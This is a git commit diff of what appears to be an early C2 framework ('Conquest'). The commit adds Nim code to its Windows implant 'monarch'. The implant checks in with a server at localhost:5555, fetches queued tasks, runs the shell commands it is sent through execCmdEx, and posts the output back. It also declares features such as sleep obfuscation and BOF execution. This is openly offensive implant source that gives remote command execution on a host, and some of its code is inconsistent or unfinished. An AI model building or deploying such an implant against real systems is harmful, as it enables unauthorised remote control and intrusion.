Implemented basic shell command execution and result retrieval. Next Step: Remove completed tasks from queue

This commit is contained in:
Jakob Friedl
2025-05-22 20:03:22 +02:00
parent 71336a6fa7
commit 1b147aacd6
17 changed files with 187 additions and 39 deletions

View File

@@ -69,7 +69,7 @@ proc getIPv4Address*(): string =
# Windows Version fingerprinting
proc getProductType(): ProductType =
# Instead, we retrieve the product key from the registry
# The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
# ProductType REG_SZ WinNT
# Possible values are:

View File

@@ -1,7 +1,7 @@
import strformat, os, times
import winim
import ./[types, http]
import ./[types, http, task]
import commands/shell
proc main() =
@@ -19,7 +19,7 @@ proc main() =
echo fmt"[+] [{agent}] Agent registered."
#[
Infinite Routine:
Agent routine:
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
@@ -31,10 +31,14 @@ proc main() =
sleep(10 * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking for tasks..."
echo fmt"[{date}] Checking in."
discard getTasks(listener, agent)
let tasks: seq[Task] = getTasks(listener, agent)
for task in tasks:
let result = task.handleTask()
discard postResults(listener, agent, result)
when isMainModule:
main()

View File

@@ -0,0 +1,3 @@
import ./[shell]
export shell

View File

@@ -1,3 +1,10 @@
import winim
import winim, osproc, strutils
import ../types
proc executeShellCommand*(command: seq[string]): TaskResult =
echo command.join(" ")
let (output, status) = execCmdEx(command.join(" "))
return output

View File

@@ -38,15 +38,33 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
try:
# Register agent to the Conquest server
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
echo responseBody
return parseJson(responseBody).to(seq[Task])
except HttpRequestError as err:
echo "Not found"
quit(0)
finally:
client.close()
return @[]
proc postResults*(listener, agent: string, task: Task): bool =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
let taskJson = %task
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
except HttpRequestError as err:
echo "Not found"
quit(0)
finally:
client.close()
return @[]
proc postResults*(listener: string, agent: string, results: string) =
discard
return true

26
agents/monarch/task.nim Normal file
View File

@@ -0,0 +1,26 @@
import ./types
import ./commands/commands
proc handleTask*(task: Task): Task =
# Handle task command
case task.command:
of ExecuteShell:
let cmdResult = executeShellCommand(task.args)
echo cmdResult
return Task(
id: task.id,
agent: task.agent,
command: task.command,
args: task.args,
result: cmdResult,
status: Completed
)
else:
echo "Not implemented"
return nil
return task

View File

@@ -1,6 +1,6 @@
import winim
type
type
TaskCommand* = enum
ExecuteShell = "shell"
ExecuteBof = "bof"
@@ -17,12 +17,12 @@ type
TaskResult* = string
Task* = ref object
id*: int
id*: string
agent*: string
command*: TaskCommand
args*: seq[string]
result*: TaskResult
status*: TaskStatus
status*: TaskStatus
type
ProductType* = enum